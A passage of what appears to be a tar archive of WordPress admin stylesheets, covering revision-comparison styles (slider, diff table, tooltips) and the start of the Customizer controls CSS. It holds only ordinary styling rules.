vertical-align: text-bottom; } .revisions.pinned .revisions-controls { position: fixed; top: 0; height: 82px; background: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); } .revisions-tickmarks { position: relative; margin: 0 auto; height: 0.7em; top: 7px; max-width: 70%; box-sizing: border-box; background-color: #fff; } .revisions-tickmarks > div { position: absolute; height: 100%; border-right: 1px solid #a7aaad; box-sizing: border-box; } .revisions-tickmarks > div:first-child { border-width: 0; } .comparing-two-revisions .revisions-controls { height: 140px; } .comparing-two-revisions.pinned .revisions-controls { height: 124px; } .revisions .diff-error { position: absolute; text-align: center; margin: 0 auto; width: 100%; display: none; } .revisions.diff-error .diff-error { display: block; } .revisions .loading-indicator { position: absolute; vertical-align: middle; opacity: 0; width: 100%; width: calc( 100% - 30px ); top: 50%; top: calc( 50% - 10px ); transition: opacity 0.5s; } body.folded .revisions .loading-indicator { margin-right: -32px; } .revisions .loading-indicator span.spinner { display: block; margin: 0 auto; float: none; } .revisions.loading .loading-indicator { opacity: 1; } .revisions .diff { transition: opacity 0.5s; } .revisions.loading .diff { opacity: 0.5; } .revisions.diff-error .diff { visibility: hidden; } .revisions-meta { margin-top: 20px; background-color: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); overflow: hidden; } .revisions.pinned .revisions-meta { box-shadow: none; } .revision-toggle-compare-mode { position: absolute; top: 0; left: 0; } .comparing-two-revisions .revisions-previous, .comparing-two-revisions .revisions-next, .revisions-meta .diff-meta-to strong { display: none; } .revisions-controls .author-card .date { color: #646970; } .revisions-controls .author-card.autosave { color: #d63638; } .revisions-controls .author-card .author-name { font-weight: 600; } .comparing-two-revisions .diff-meta-to strong { display: block; } .revisions.pinned .revisions-buttons { padding: 0 11px; } .revisions-previous, .revisions-next { position: relative; z-index: 1; } .revisions-previous { float: right; } .revisions-next { float: left; } .revisions-controls .wp-slider { max-width: 70%; margin: 0 auto; top: -3px; } .revisions-diff { padding: 15px; background-color: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); } .revisions-diff h3:first-child { margin-top: 0; } /* Revision meta box */ .post-revisions li img, #revisions-meta-restored img { vertical-align: middle; } table.diff { table-layout: fixed; width: 100%; white-space: pre-wrap; } table.diff col.content { width: auto; } table.diff col.content.diffsplit { width: 48%; } table.diff col.diffsplit.middle { width: auto; } table.diff col.ltype { width: 30px; } table.diff tr { background-color: transparent; } table.diff td, table.diff th { font-family: Consolas, Monaco, monospace; font-size: 14px; line-height: 1.57142857; padding: 0.5em 2em 0.5em 0.5em; vertical-align: top; word-wrap: break-word; } table.diff td h1, table.diff td h2, table.diff td h3, table.diff td h4, table.diff td h5, table.diff td h6 { margin: 0; } table.diff .diff-deletedline del, table.diff .diff-addedline ins { text-decoration: none; } table.diff .diff-deletedline { position: relative; background-color: #fcf0f1; } table.diff .diff-deletedline del { background-color: #ffabaf; } table.diff .diff-addedline { position: relative; background-color: #edfaef; } table.diff .diff-deletedline .dashicons, table.diff .diff-addedline .dashicons { position: absolute; top: 0.85714286em; right: 0.5em; width: 1em; height: 1em; font-size: 1em; line-height: 1; } table.diff .diff-addedline .dashicons { /* Compensate the vertically non-centered plus glyph. */ top: 0.92857143em; } table.diff .diff-addedline ins { background-color: #68de7c; } .diff-meta { padding: 5px; clear: both; min-height: 32px; } .diff-title strong { line-height: 2.46153846; min-width: 60px; text-align: left; float: right; margin-left: 5px; } .revisions-controls .author-card .author-info { font-size: 12px; line-height: 1.33333333; } .revisions-controls .author-card .avatar, .revisions-controls .author-card .author-info { float: right; margin-right: 6px; margin-left: 6px; } .revisions-controls .author-card .byline { display: block; font-size: 12px; } .revisions-controls .author-card .avatar { vertical-align: middle; } .diff-meta input.restore-revision { float: left; margin-right: 6px; margin-left: 6px; } .diff-meta-from { display: none; } .comparing-two-revisions .diff-meta-from { display: block; } .revisions-tooltip { position: absolute; bottom: 105px; margin-left: 0; margin-right: -69px; z-index: 0; max-width: 350px; min-width: 130px; padding: 8px 4px; display: none; opacity: 0; } .revisions-tooltip.flipped { margin-right: 0; margin-left: -70px; } .revisions.pinned .revisions-tooltip { display: none !important; } .comparing-two-revisions .revisions-tooltip { bottom: 145px; } .revisions-tooltip-arrow { width: 70px; height: 15px; overflow: hidden; position: absolute; right: 0; margin-right: 35px; bottom: -15px; } .revisions-tooltip.flipped .revisions-tooltip-arrow { margin-right: 0; margin-left: 35px; right: auto; left: 0; } .revisions-tooltip-arrow > span { content: ""; position: absolute; right: 20px; top: -20px; width: 25px; height: 25px; transform: rotate(-45deg); } .revisions-tooltip.flipped .revisions-tooltip-arrow > span { right: auto; left: 20px; } .revisions-tooltip, .revisions-tooltip-arrow > span { border: 1px solid #dcdcde; background-color: #fff; } .revisions-tooltip { display: none; } .arrow { width: 70px; height: 16px; overflow: hidden; position: absolute; right: 0; margin-right: -35px; bottom: 90px; z-index: 10000; } .arrow:after { z-index: 9999; background-color: #fff; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1); } .arrow.top { top: -16px; bottom: auto; } .arrow.left { right: 20%; } .arrow:after { content: ""; position: absolute; right: 20px; top: -20px; width: 25px; height: 25px; transform: rotate(-45deg); } .revisions-tooltip, .revisions-tooltip-arrow:after { border-width: 1px; border-style: solid; } div.revisions-controls > .wp-slider > .ui-slider-handle { margin-right: -10px; } .rtl div.revisions-controls > .wp-slider > .ui-slider-handle { margin-left: -10px; } /* jQuery UI Slider */ .wp-slider.ui-slider { position: relative; border: 1px solid #dcdcde; text-align: right; cursor: pointer; } .wp-slider .ui-slider-handle { border-radius: 50%; height: 18px; margin-top: -5px; outline: none; padding: 2px; position: absolute; width: 18px; z-index: 2; touch-action: none; } .wp-slider .ui-slider-handle { background: #f6f7f7; border: 1px solid #c3c4c7; box-shadow: 0 1px 0 #c3c4c7; } .wp-slider .ui-slider-handle:hover, .wp-slider .ui-slider-handle.ui-state-hover { background: #f6f7f7; border-color: #8c8f94; } .wp-slider .ui-slider-handle:active, .wp-slider .ui-slider-handle.ui-state-active { background: #f0f0f1; border-color: #8c8f94; box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5); transform: translateY(1px); } .wp-slider .ui-slider-handle:focus, .wp-slider .ui-slider-handle.ui-state-focus { background: #f0f0f1; border-color: #8c8f94; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .wp-slider .ui-slider-handle:before { background: none; position: absolute; top: 2px; right: 2px; color: #50575e; content: "\f229"; content: "\f229" / ''; font: normal 18px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .wp-slider .ui-slider-handle:hover:before, .wp-slider .ui-slider-handle.ui-state-hover:before { color: #1d2327; } .wp-slider .ui-slider-handle.from-handle:before, .wp-slider .ui-slider-handle.to-handle:before { font-size: 20px !important; margin: -1px -1px 0 0; } .wp-slider .ui-slider-handle.from-handle:before { content: "\f141"; content: "\f139" / ''; } .wp-slider .ui-slider-handle.to-handle:before { content: "\f139"; content: "\f141" / ''; } .rtl .wp-slider .ui-slider-handle.from-handle:before { content: "\f139"; content: "\f141" / ''; } .rtl .wp-slider .ui-slider-handle.to-handle:before { content: "\f141"; content: "\f139" / ''; left: -1px; } .wp-slider .ui-slider-range { position: absolute; font-size: 0.7em; display: block; border: 0; background-color: transparent; background-image: none; } .wp-slider.ui-slider-horizontal { height: 0.7em; } .wp-slider.ui-slider-horizontal .ui-slider-handle { top: -.25em; margin-right: -.6em; } .wp-slider.ui-slider-horizontal .ui-slider-range { top: 0; height: 100%; } .wp-slider.ui-slider-horizontal .ui-slider-range-min { right: 0; } .wp-slider.ui-slider-horizontal .ui-slider-range-max { left: 0; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .revision-tick.completed-false { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 600px) { .revisions-meta .author-card:not(.comparing-two-revisions .author-card) { display: flex; flex-direction: column; width: fit-content; gap: 16px; } .comparing-two-revisions .revisions-meta .restore-revision { margin-top: 16px; } .revisions-controls { padding-top: 0; } .revision-toggle-compare-mode { position: relative; padding: 1rem 0; } } @media screen and (max-width: 782px) { #diff-next-revision, #diff-previous-revision { margin-top: -1em; } .revisions-buttons { overflow: hidden; margin-bottom: 15px; } .revisions-controls, .comparing-two-revisions .revisions-controls { height: fit-content; } .revisions-tooltip { bottom: 155px; z-index: 2; } .comparing-two-revisions .revisions-tooltip { bottom: 200px; } .diff-meta { overflow: hidden; } table.diff { -ms-word-break: break-all; word-break: break-all; word-wrap: break-word; } } css/customize-controls.css 0000644 00000215453 15233246127 0011750 0 ustar 00 body { overflow: hidden; -webkit-text-size-adjust: 100%; } .customize-controls-close, .widget-control-actions a { text-decoration: none; } #customize-controls h3 { font-size: 14px; } #customize-controls img { max-width: 100%; } #customize-controls .submit { text-align: center; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked { background-color: rgba(0, 0, 0, 0.7); padding: 25px; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message { margin-left: auto; margin-right: auto; max-width: 366px; min-height: 64px; width: auto; padding: 25px; position: relative; background: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); line-height: 1.5; overflow-y: auto; text-align: left; top: calc( 50% - 100px ); } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .customize-changeset-locked-message.has-avatar { padding-left: 109px; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .currently-editing { margin-top: 0; } #customize-controls #customize-notifications-area .notice.notification-overlay.notification-changeset-locked .action-buttons { margin-bottom: 0; } .customize-changeset-locked-avatar { width: 64px; position: absolute; left: 25px; top: 25px; } .wp-core-ui.wp-customizer .customize-changeset-locked-message a.button { margin-right: 10px; margin-top: 0; } #customize-controls .description { color: #50575e; } #customize-save-button-wrapper { float: right; margin-top: 7px; /* Vertically center 32px button in 45px header */ } body:not(.ready) #customize-save-button-wrapper .save { visibility: hidden; } #customize-save-button-wrapper .save { float: left; border-radius: 3px; box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */ margin-top: 0; } #customize-save-button-wrapper .save.has-next-sibling { border-radius: 3px 0 0 3px; } #customize-sidebar-outer-content { position: absolute; top: 0; bottom: 0; left: 0; visibility: hidden; overflow-x: hidden; overflow-y: auto; width: 100%; margin: 0; z-index: -1; background: #f0f0f1; transition: left .18s; border-right: 1px solid #dcdcde; border-left: 1px solid #dcdcde; height: 100%; } @media (prefers-reduced-motion: reduce) { #customize-sidebar-outer-content { transition: none; } } #customize-theme-controls .control-section-outer { display: none !important; } #customize-outer-theme-controls .accordion-section-content { padding: 12px; } #customize-outer-theme-controls .accordion-section-content.open { display: block; } .outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content { visibility: visible; left: 100%; transition: left .18s; } @media (prefers-reduced-motion: reduce) { .outer-section-open .wp-full-overlay.expanded #customize-sidebar-outer-content { transition: none; } } .customize-outer-pane-parent { margin: 0; } .outer-section-open .wp-full-overlay.expanded .wp-full-overlay-main { left: 300px; opacity: 0.4; } .outer-section-open .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main, .outer-section-open .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-menu-items .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main, .adding-menu-items .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main, .adding-widget .wp-full-overlay.expanded.preview-tablet .wp-full-overlay-main, .adding-widget .wp-full-overlay.expanded.preview-mobile .wp-full-overlay-main { left: 64%; } #customize-outer-theme-controls li.notice { padding-top: 8px; padding-bottom: 8px; margin-left: 0; margin-bottom: 10px; } #publish-settings { text-indent: 0; border-radius: 0 3px 3px 0; padding-left: 0; padding-right: 0; box-shadow: none; /* @todo Adjust box shadow based on the disable states of paired button. */ font-size: 14px; width: 30px; float: left; transform: none; margin-top: 0; line-height: 2; } body:not(.ready) #publish-settings, body.trashing #customize-save-button-wrapper .save, body.trashing #publish-settings { display: none; } #customize-header-actions .spinner { margin-top: 13px; /* Vertically center 20px spinner in 45px header */ margin-right: 4px; } .saving #customize-header-actions .spinner, .trashing #customize-header-actions .spinner { visibility: visible; } #customize-header-actions { border-bottom: 1px solid #dcdcde; } #customize-controls .wp-full-overlay-sidebar-content { overflow-y: auto; overflow-x: hidden; } .outer-section-open #customize-controls .wp-full-overlay-sidebar-content { background: #f0f0f1; } #customize-controls .customize-info { border: none; border-bottom: 1px solid #dcdcde; margin-bottom: 15px; } #customize-control-changeset_status .customize-inside-control-row, #customize-control-changeset_preview_link input { background-color: #fff; border-bottom: 1px solid #dcdcde; box-sizing: content-box; width: 100%; margin-left: -12px; padding-left: 12px; padding-right: 12px; } #customize-control-trash_changeset { margin-top: 20px; } #customize-control-trash_changeset .button-link { position: relative; padding-left: 24px; display: inline-block; } #customize-control-trash_changeset .button-link:before { content: "\f182"; content: "\f182" / ''; font: normal 22px dashicons; text-decoration: none; position: absolute; left: 0; top: -2px; } #customize-controls .date-input:invalid { border-color: #d63638; } #customize-control-changeset_status .customize-inside-control-row { padding-top: 10px; padding-bottom: 10px; font-weight: 500; } #customize-control-changeset_status .customize-inside-control-row:first-of-type { border-top: 1px solid #dcdcde; } #customize-control-changeset_status .customize-control-title { margin-bottom: 6px; } #customize-control-changeset_status input { margin-left: 0; } #customize-control-changeset_preview_link { position: relative; display: block; } .preview-link-wrapper .customize-copy-preview-link.preview-control-element.button { margin: 0; position: absolute; top: 50%; transform: translateY(-50%) !important; right: 0; background: #fff !important; } .preview-link-wrapper { position: relative; } .customize-copy-preview-link:before, .customize-copy-preview-link:after { content: ""; height: 40px; position: absolute; background: #fff; top: 0; } .customize-copy-preview-link:before { left: -10px; width: 9px; opacity: 0.75; } .customize-copy-preview-link:after { left: -5px; width: 4px; opacity: 0.8; } #customize-control-changeset_preview_link input { line-height: 2.85714286; /* 40px */ border-top: 1px solid #dcdcde; border-left: none; border-right: none; text-indent: -999px; color: #fff; /* Only necessary for IE11 */ min-height: 40px; } #customize-control-changeset_preview_link label { position: relative; display: block; } #customize-control-changeset_preview_link a { display: inline-block; position: absolute; white-space: nowrap; overflow: hidden; width: 90%; bottom: 14px; font-size: 14px; text-decoration: none; } #customize-control-changeset_preview_link a.disabled, #customize-control-changeset_preview_link a.disabled:active, #customize-control-changeset_preview_link a.disabled:focus, #customize-control-changeset_preview_link a.disabled:visited { color: #000; opacity: 0.4; cursor: default; outline: none; box-shadow: none; } #sub-accordion-section-publish_settings .customize-section-description-container { display: none; } #customize-controls .customize-info.section-meta { margin-bottom: 15px; } .customize-control-date_time .customize-control-description + .date-time-fields.includes-time { margin-top: 10px; } .customize-control.customize-control-date_time .date-time-fields .date-input.day { margin-right: 0; } .date-time-fields .date-input.month { width: auto; margin: 0; } .date-time-fields .date-input.day, .date-time-fields .date-input.hour, .date-time-fields .date-input.minute { width: 46px; } .customize-control-date_time select { vertical-align: top; } .date-time-fields .date-input.year { width: 65px; } .date-time-fields .date-input.meridian { width: auto; margin: 0; } .date-time-fields .time-row { margin-top: 12px; } #customize-control-changeset_preview_link { margin-top: 6px; } #customize-control-changeset_status { margin-bottom: 0; padding-bottom: 0; } #customize-control-changeset_scheduled_date { box-sizing: content-box; width: 100%; margin-left: -12px; padding: 12px; background: #fff; border-bottom: 1px solid #dcdcde; margin-bottom: 0; } #customize-control-site_icon .customize-control-description, #customize-control-changeset_scheduled_date .customize-control-description { font-style: normal; } #customize-controls .customize-info.is-in-view, #customize-controls .customize-section-title.is-in-view { position: absolute; z-index: 9; width: 100%; box-shadow: 0 1px 0 rgba(0, 0, 0, 0.1); } #customize-controls .customize-section-title.is-in-view { margin-top: 0; } #customize-controls .customize-info.is-in-view + .accordion-section { margin-top: 15px; } #customize-controls .customize-info.is-sticky, #customize-controls .customize-section-title.is-sticky { position: fixed; top: 46px; } #customize-controls .customize-info .accordion-section-title { background: #fff; color: #50575e; border-left: none; border-right: none; border-bottom: none; cursor: default; padding: 10px 10px 11px 14px; } #customize-controls .customize-info.open .accordion-section-title:after, #customize-controls .customize-info .accordion-section-title:hover:after, #customize-controls .customize-info .accordion-section-title:focus:after { color: #2c3338; } #customize-controls .customize-info .accordion-section-title:after { display: none; } #customize-controls .customize-info .preview-notice { font-size: 13px; line-height: 1.9; margin: 0; font-weight: 400; color: #50575e; } #customize-controls .customize-pane-child .customize-section-title h3, #customize-controls .customize-pane-child h3.customize-section-title, #customize-outer-theme-controls .customize-pane-child .customize-section-title h3, #customize-outer-theme-controls .customize-pane-child h3.customize-section-title, #customize-controls .customize-info .panel-title { font-size: 20px; font-weight: 200; line-height: 26px; display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #customize-controls .customize-section-title span.customize-action { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } #customize-controls .customize-info .customize-help-toggle { position: absolute; top: 4px; right: 1px; padding: 20px 20px 10px 10px; width: 20px; height: 20px; cursor: pointer; box-shadow: none; background: transparent; color: #50575e; border: none; } #customize-controls .customize-info .customize-help-toggle:before { position: absolute; top: 5px; left: 6px; } #customize-controls .customize-info .customize-panel-description, #customize-controls .customize-info .customize-section-description, #customize-outer-theme-controls .customize-info .customize-section-description, #customize-controls .no-widget-areas-rendered-notice { color: #50575e; display: none; background: #fff; padding: 12px 15px; border-top: 1px solid #dcdcde; } #customize-controls .customize-info .customize-panel-description.open + .no-widget-areas-rendered-notice { border-top: none; } .no-widget-areas-rendered-notice { font-style: italic; } .no-widget-areas-rendered-notice p:first-child { margin-top: 0; } .no-widget-areas-rendered-notice p:last-child { margin-bottom: 0; } #customize-controls .customize-info .customize-section-description { margin-bottom: 15px; } #customize-controls .customize-info .customize-panel-description p:first-child, #customize-controls .customize-info .customize-section-description p:first-child { margin-top: 0; } #customize-controls .customize-info .customize-panel-description p:last-child, #customize-controls .customize-info .customize-section-description p:last-child { margin-bottom: 0; } #customize-controls .current-panel .control-section > h3.accordion-section-title { padding-right: 30px; } #customize-theme-controls .control-section, #customize-outer-theme-controls .control-section { border: none; } #customize-theme-controls .accordion-section-title, #customize-outer-theme-controls .accordion-section-title { color: #50575e; background-color: #fff; border-bottom: 1px solid #dcdcde; border-left: 4px solid #fff; transition: .15s color ease-in-out, .15s background-color ease-in-out, .15s border-color ease-in-out; } .accordion-section-title:has(button.accordion-trigger), #customize-controls .current-panel .control-section > h3.accordion-section-title:has(button.accordion-trigger) { padding: 0; } .accordion-section-title button.accordion-trigger { all: unset; width: 100%; padding: 10px 30px 11px 14px; display: flex; align-items: center; box-sizing: border-box; } .accordion-section-title button.accordion-trigger:has(.menu-in-location) { display: block; } .accordion-section-title button.accordion-trigger .spinner { margin-top: 0; } @media (prefers-reduced-motion: reduce) { #customize-theme-controls .accordion-section-title, #customize-outer-theme-controls .accordion-section-title { transition: none; } } #customize-controls #customize-theme-controls .customize-themes-panel .accordion-section-title { color: #50575e; background-color: #fff; border-left: 4px solid #fff; } #customize-theme-controls .accordion-section-title:after, #customize-outer-theme-controls .accordion-section-title:after { content: "\f345"; content: "\f345" / ''; color: #a7aaad; pointer-events: none; } #customize-theme-controls .accordion-section-content, #customize-outer-theme-controls .accordion-section-content { color: #50575e; background: transparent; } #accordion-section-themes + .control-section { border-top: 1px solid #dcdcde; } .js .control-section:hover .accordion-section-title, .js .control-section .accordion-section-title:hover, .js .control-section.open .accordion-section-title, .js .control-section .accordion-section-title:focus { background: #f6f7f7; } #customize-theme-controls .control-section.open { border-bottom: 1px solid #f0f0f1; } #customize-theme-controls .control-section.open .accordion-section-title, #customize-outer-theme-controls .control-section.open .accordion-section-title { border-bottom-color: #f0f0f1 !important; } #customize-theme-controls .control-section:last-of-type.open, #customize-theme-controls .control-section:last-of-type > .accordion-section-title { border-bottom-color: #dcdcde; } #customize-theme-controls .control-panel-content:not(.control-panel-nav_menus) .control-section:nth-child(2), #customize-theme-controls .control-panel-nav_menus .control-section-nav_menu, #customize-theme-controls .control-section-nav_menu_locations .accordion-section-title { border-top: 1px solid #dcdcde; } #customize-theme-controls .control-panel-nav_menus .control-section-nav_menu + .control-section-nav_menu { border-top: none; } #customize-theme-controls > ul { margin: 0; } #customize-theme-controls .accordion-section-content { position: absolute; top: 0; left: 100%; width: 100%; margin: 0; padding: 12px; box-sizing: border-box; } #customize-info, #customize-theme-controls .customize-pane-parent, #customize-theme-controls .customize-pane-child { overflow: visible; width: 100%; margin: 0; padding: 0; box-sizing: border-box; transition: 0.18s transform cubic-bezier(0.645, 0.045, 0.355, 1); /* easeInOutCubic */ } @media (prefers-reduced-motion: reduce) { #customize-info, #customize-theme-controls .customize-pane-parent, #customize-theme-controls .customize-pane-child { transition: none; } } #customize-theme-controls .customize-pane-child.skip-transition { transition: none; } #customize-info, #customize-theme-controls .customize-pane-parent { position: relative; visibility: visible; height: auto; max-height: none; overflow: auto; transform: none; } #customize-theme-controls .customize-pane-child { position: absolute; top: 0; left: 0; visibility: hidden; height: 0; max-height: none; overflow: hidden; transform: translateX(100%); } #customize-theme-controls .customize-pane-child.open, #customize-theme-controls .customize-pane-child.current-panel { transform: none; } .section-open #customize-theme-controls .customize-pane-parent, .in-sub-panel #customize-theme-controls .customize-pane-parent, .section-open #customize-info, .in-sub-panel #customize-info, .in-sub-panel.section-open #customize-theme-controls .customize-pane-child.current-panel { visibility: hidden; height: 0; overflow: hidden; transform: translateX(-100%); } .section-open #customize-theme-controls .customize-pane-parent.busy, .in-sub-panel #customize-theme-controls .customize-pane-parent.busy, .section-open #customize-info.busy, .in-sub-panel #customize-info.busy, .busy.section-open.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel, #customize-theme-controls .customize-pane-child.open, #customize-theme-controls .customize-pane-child.current-panel, #customize-theme-controls .customize-pane-child.busy { visibility: visible; height: auto; overflow: auto; } #customize-theme-controls .customize-pane-child.accordion-section-content, #customize-theme-controls .customize-pane-child.accordion-sub-container { display: block; overflow-x: hidden; } #customize-theme-controls .customize-pane-child.accordion-section-content { padding: 12px; } #customize-theme-controls .customize-pane-child.menu li { position: static; } .customize-section-description-container, .control-section-nav_menu .customize-section-description-container, .control-section-new_menu .customize-section-description-container { margin-bottom: 15px; } .control-section-nav_menu .customize-control, .control-section-new_menu .customize-control { /* Override default `margin-bottom` for `.customize-control` */ margin-bottom: 0; } .customize-section-title { margin: -12px -12px 0; border-bottom: 1px solid #dcdcde; background: #fff; } div.customize-section-description { margin-top: 22px; } .customize-info div.customize-section-description { margin-top: 0; } div.customize-section-description p:first-child { margin-top: 0; } div.customize-section-description p:last-child { margin-bottom: 0; } #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child { border-bottom: 1px solid #dcdcde; padding: 12px; } .ios #customize-theme-controls .customize-themes-panel h3.customize-section-title:first-child { padding: 12px 12px 13px; } .customize-section-title h3, h3.customize-section-title { padding: 10px 10px 12px 14px; margin: 0; line-height: 21px; color: #50575e; } .accordion-sub-container.control-panel-content { display: none; position: absolute; top: 0; width: 100%; } .accordion-sub-container.control-panel-content.busy { display: block; } .current-panel .accordion-sub-container.control-panel-content { width: 100%; } .customize-controls-close { display: block; position: absolute; top: 0; left: 0; width: 45px; height: 41px; padding: 0 2px 0 0; background: #f0f0f1; border: none; border-top: 4px solid #f0f0f1; border-right: 1px solid #dcdcde; color: #3c434a; text-align: left; cursor: pointer; box-sizing: content-box; } @media (prefers-reduced-motion: no-preference) { .customize-controls-close { transition: color .15s ease-in-out, border-color .15s ease-in-out, background .15s ease-in-out; } } .customize-panel-back, .customize-section-back { display: block; float: left; width: 48px; height: 71px; padding: 0 24px 0 0; margin: 0; background: #fff; border: none; border-right: 1px solid #dcdcde; border-left: 4px solid #fff; box-shadow: none; cursor: pointer; transition: color .15s ease-in-out, border-color .15s ease-in-out, background .15s ease-in-out; } .customize-section-back { height: 74px; } .ios .customize-panel-back { display: none; } .ios .expanded.in-sub-panel .customize-panel-back { display: block; } #customize-controls .panel-meta.customize-info .accordion-section-title { margin-left: 48px; border-left: none; } #customize-controls .panel-meta.customize-info .accordion-section-title:hover, #customize-controls .cannot-expand:hover .accordion-section-title { background: #fff; color: #50575e; border-left-color: #fff; } .customize-controls-close:focus, .customize-controls-close:hover, .customize-controls-preview-toggle:focus, .customize-controls-preview-toggle:hover { background: #fff; box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; } #customize-theme-controls .accordion-section-title:focus .customize-action { /* Only visible in Windows High Contrast mode */ outline: 1px solid transparent; outline-offset: 1px; } .customize-panel-back:hover, .customize-panel-back:focus, .customize-section-back:hover, .customize-section-back:focus { background: #f6f7f7; box-shadow: none; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .customize-controls-close:before { font: normal 22px/45px dashicons; content: "\f335"; content: "\f335" / ''; position: relative; top: -3px; left: 13px; } .customize-panel-back:before, .customize-section-back:before { font: normal 20px/72px dashicons; content: "\f341"; content: "\f341" / ''; position: relative; left: 9px; } .wp-full-overlay-sidebar .wp-full-overlay-header { background-color: #f0f0f1; transition: padding ease-in-out .18s; } .in-sub-panel .wp-full-overlay-sidebar .wp-full-overlay-header { padding-left: 62px; } p.customize-section-description { font-style: normal; margin-top: 22px; margin-bottom: 0; } .customize-section-description ul { margin-left: 1em; } .customize-section-description ul > li { list-style: disc; } .section-description-buttons { text-align: right; } .customize-control { width: 100%; float: left; clear: both; margin-bottom: 12px; } .customize-control input[type="text"], .customize-control input[type="password"], .customize-control input[type="email"], .customize-control input[type="number"], .customize-control input[type="search"], .customize-control input[type="tel"], .customize-control input[type="url"], .customize-control input[type="range"] { width: 100%; margin: 0; } .customize-control-hidden { margin: 0; } .customize-control-textarea textarea { width: 100%; resize: vertical; } .customize-control select { width: 100%; } .customize-control select[multiple] { height: auto; } .customize-control-title { display: block; font-size: 14px; line-height: 1.75; font-weight: 600; margin-bottom: 4px; } .customize-control-description { display: block; font-style: italic; line-height: 1.4; margin-top: 0; margin-bottom: 5px; } .customize-section-description a.external-link:after { font: 16px/11px dashicons; content: "\f504"; content: "\f504" / ''; top: 3px; position: relative; padding-left: 3px; display: inline-block; text-decoration: none; } .customize-control-color .color-picker, .customize-control-upload div { line-height: 28px; } .customize-control .customize-inside-control-row { line-height: 1.6; display: block; margin-left: 24px; padding-top: 6px; padding-bottom: 6px; } .customize-control-radio input, .customize-control-checkbox input, .customize-control-nav_menu_auto_add input { margin-right: 4px; margin-left: -24px; } .customize-control-radio { padding: 5px 0 10px; } .customize-control-radio .customize-control-title { margin-bottom: 0; line-height: 1.6; } .customize-control-radio .customize-control-title + .customize-control-description { margin-top: 7px; } .customize-control-radio label, .customize-control-checkbox label { vertical-align: top; } .customize-control .attachment-thumb.type-icon { float: left; margin: 10px; width: auto; } .customize-control .attachment-title { font-weight: 600; margin: 0; padding: 5px 10px; } .customize-control .attachment-meta { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; margin: 0; padding: 0 10px; } .customize-control .attachment-meta-title { padding-top: 7px; } /* Remove descender space. */ .customize-control .thumbnail-image, .customize-control-header .current, .customize-control .wp-media-wrapper.wp-video { line-height: 0; } .customize-control .thumbnail-image img { cursor: pointer; } #customize-controls .thumbnail-audio .thumbnail { max-width: 64px; max-height: 64px; margin: 10px; float: left; } #available-menu-items .accordion-section-content .new-content-item-wrapper, .customize-control-dropdown-pages .new-content-item-wrapper { width: calc(100% - 30px); padding: 8px 15px; position: absolute; bottom: 0; z-index: 10; background: #f0f0f1; } .customize-control-dropdown-pages .new-content-item-wrapper { width: 100%; padding: 0; position: static; } #available-menu-items .new-content-item-wrapper > label, .customize-control-dropdown-pages .new-content-item-wrapper > label { margin-bottom: 4px; display: block; } #available-menu-items .accordion-section-content .new-content-item, .customize-control-dropdown-pages .new-content-item { display: flex; } .customize-control-dropdown-pages .new-content-item { width: 100%; padding: 5px 0 5px 1px; position: relative; } .customize-control-dropdown-pages .new-content-item-wrapper .new-content-item { padding: 0; } .customize-control-dropdown-pages .new-content-item-wrapper .new-content-item label { line-height: 1.6; } #available-menu-items .new-content-item .create-item-input, .customize-control-dropdown-pages .new-content-item .create-item-input { flex-grow: 10; width: 100%; } #available-menu-items .new-content-item .create-item-input { min-height: 32px; line-height: 2.15384615; /* 28px for 32px min-height with 13px font */ } #available-menu-items .new-content-item .add-content, .customize-control-dropdown-pages .new-content-item .add-content { margin: 0 0 0 6px; flex-grow: 1; } #available-menu-items .new-content-item .add-content { min-height: 32px; line-height: 2.30769231; /* 30px for 32px min-height with 13px font */ } .customize-control-dropdown-pages .new-content-item .create-item-input.invalid { border: 1px solid #d63638; } .customize-control-dropdown-pages .add-new-toggle { margin-left: 1px; font-weight: 600; line-height: 2.2; } #customize-preview iframe { width: 100%; height: 100%; position: absolute; } #customize-preview iframe + iframe { visibility: hidden; } .wp-full-overlay-sidebar { background: #f0f0f1; border-right: 1px solid #dcdcde; } /** * Notifications */ #customize-controls .customize-control-notifications-container { /* Scoped to #customize-controls for specificity over notification styles in common.css. */ margin: 4px 0 8px; padding: 0; cursor: default; } #customize-controls .customize-control-widget_form.has-error .widget .widget-top, .customize-control-nav_menu_item.has-error .menu-item-bar .menu-item-handle { box-shadow: inset 0 0 0 2px #d63638; transition: .15s box-shadow linear; } #customize-controls .customize-control-notifications-container li.notice { list-style: none; margin: 0 0 6px; padding: 9px 14px; overflow: hidden; } #customize-controls .customize-control-notifications-container .notice.is-dismissible { padding-right: 38px; } .customize-control-notifications-container li.notice:last-child { margin-bottom: 0; } #customize-controls .customize-control-nav_menu_item .customize-control-notifications-container { margin-top: 0; } #customize-controls .customize-control-widget_form .customize-control-notifications-container { 